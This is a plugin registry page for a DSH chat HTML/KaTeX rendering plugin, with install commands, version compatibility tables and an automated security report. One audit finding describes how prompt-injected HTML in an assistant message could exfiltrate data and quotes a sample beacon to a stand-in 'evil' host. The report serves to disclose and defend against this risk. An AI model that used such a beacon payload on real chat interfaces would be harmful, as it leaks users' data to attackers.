Install verification: Ecosystem plugin: installs via dsh plugin add but declares no dsh.bundle and mounts no plugin capability — the L1-L5 install ladder does not rate it; the security scan still runs.Install verification details →
What it doesAI
Renders inline HTML and KaTeX math in DSH chats with sandboxed iframes, adaptive theming, and no network calls.
- Sandboxed iframe rendering for safe content isolation
- Theme-adaptive display matching chat appearance
- Accurate height measurement with zero network requests
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add github:zgxaxdd/dsh-html-render#v3.4.1Install method: GitHub · runtime test inconclusive (L5 unknown)
Verification & Compatibility○ Ecosystem plugin
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin \ dsh | dsh 0.2.1-rc.2 current | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 | dsh 0.1.7-rc.2 |
|---|---|---|---|---|---|
| v3.4.1 | ○ | ○ | ○ | ○ | ○ |
| v3.1.0 | · | · | · | · | · |
v3.4.1github○ 9 ecosystem plugin2026-10-18
https://github.com/zgxaxdd/dsh-html-render
○dsh 0.2.1-rc.2current2026-10-18Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-18 · expires: 2026-10-25
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.42026-10-15Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-15 · expires: 2026-10-22
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.22026-10-12Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-12 · expires: 2026-10-19
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.0-rc.22026-10-09Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-09 · expires: 2026-10-16
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-rc.22026-09-26Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-26 · expires: 2026-10-03
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-alpha.22026-09-23Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • Plugin artifact: github · github:zgxaxdd/dsh-html-render#v3.4.1#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.1.7-alpha.2 · profile: l5-web-smoke
Issued: 2026-09-23 · expires: 2026-12-22
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.6-alpha.22026-09-20Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.1.6-alpha.2 · profile: l3-fullscan
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.6-alpha.12026-09-17Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○prehistory2026-09-30Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.4.1
ID: dsh-html-render@v3.4.1@dshunknown · profile: l3-fullscan
Issued: 2026-09-30 · expires: 2026-10-07
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
v3.1.0github○ 3 ecosystem plugin2026-09-11
https://github.com/zgxaxdd/dsh-html-render
○dsh 0.1.5-rc.22026-09-11Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.1.0
ID: dsh-html-render@v3.1.0@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.3-alpha.22026-09-08Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.1.0
ID: dsh-html-render@v3.1.0@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.3-alpha.12026-09-07Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: github · https://github.com/zgxaxdd/dsh-html-render#v3.1.0
ID: dsh-html-render@v3.1.0@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-07 · expires: 2026-09-14
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the official badges in your README to showcase security & install-test status:
`[](https://www.dsh.so/artifact/dsh-html-render/)`Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low, dynamic medium — stricter wins → overall medium.
v3.4.1v3.4.1git2026-10-21v3.4.1same versionclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (3)
- criticalshellExec · shell
install.mjs:132const pnpmRoot = execSync('pnpm root -g', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }).trim() - warningnetIp · network
install.mjs:93const req = http.get(`http://127.0.0.1:${PROBE_PORT}/dsh-html/client.js`, (res) => { - warningnetIp · network
install.mjs:314if (probe.ok) say('OK', `HTTP 200 verified: http://127.0.0.1:${PROBE_PORT}/dsh-html/client.js (${probe.bytes} bytes${probe.version ? `, rend
show 2 audit findings
- mediumSandbox CSP allows remote img/media/font loads, contradicting the advertised 'zero network'
dsh-html-client.js:354Every rendered fence (and each raw-HTML fragment wrapped by the second channel) runs with allow-scripts and may load arbitrary remote images/media/fonts, so any HTML placed in an assistant message by prompt injection can beacon data out of the user's browser (e.g. <img src="https://evil/?d=...">), and it can also navigate its own frame to an external URL; connect-src is absent so it falls back to default-src 'none' (no fetch/XHR). This contradicts package.json's 'zero network' claim. The same string exists verbatim in bundle/lib/client.js (the file actually loaded in plugin form, shifted by th
- lowVendored KaTeX runs in the host app origin; no integrity check at install time
dsh-html-client.js:136The vendored KaTeX bundle is loaded into the host page's own document.head, i.e. it executes with the app's full privileges (session, DOM); it is not confined to the sandboxed iframe. install.mjs's syncKatex copies vendor/katex into the served directory without ever comparing against vendor/katex/SHA256SUMS (only the npm `check` script calls tools/verify-sha256sums.mjs), and the vendor files were not part of this audit's harvest, so their content is unverified here.
Scanner's critical is a false positive (hardcoded `pnpm root -g` execSync); real residual risks are remote img/font egress from the sandbox CSP and unverified vendor JS running in the host page origin.
Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-09-04 · activity: Stable
• Repo created: 2026-09-04
• Stars: ★ 2 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
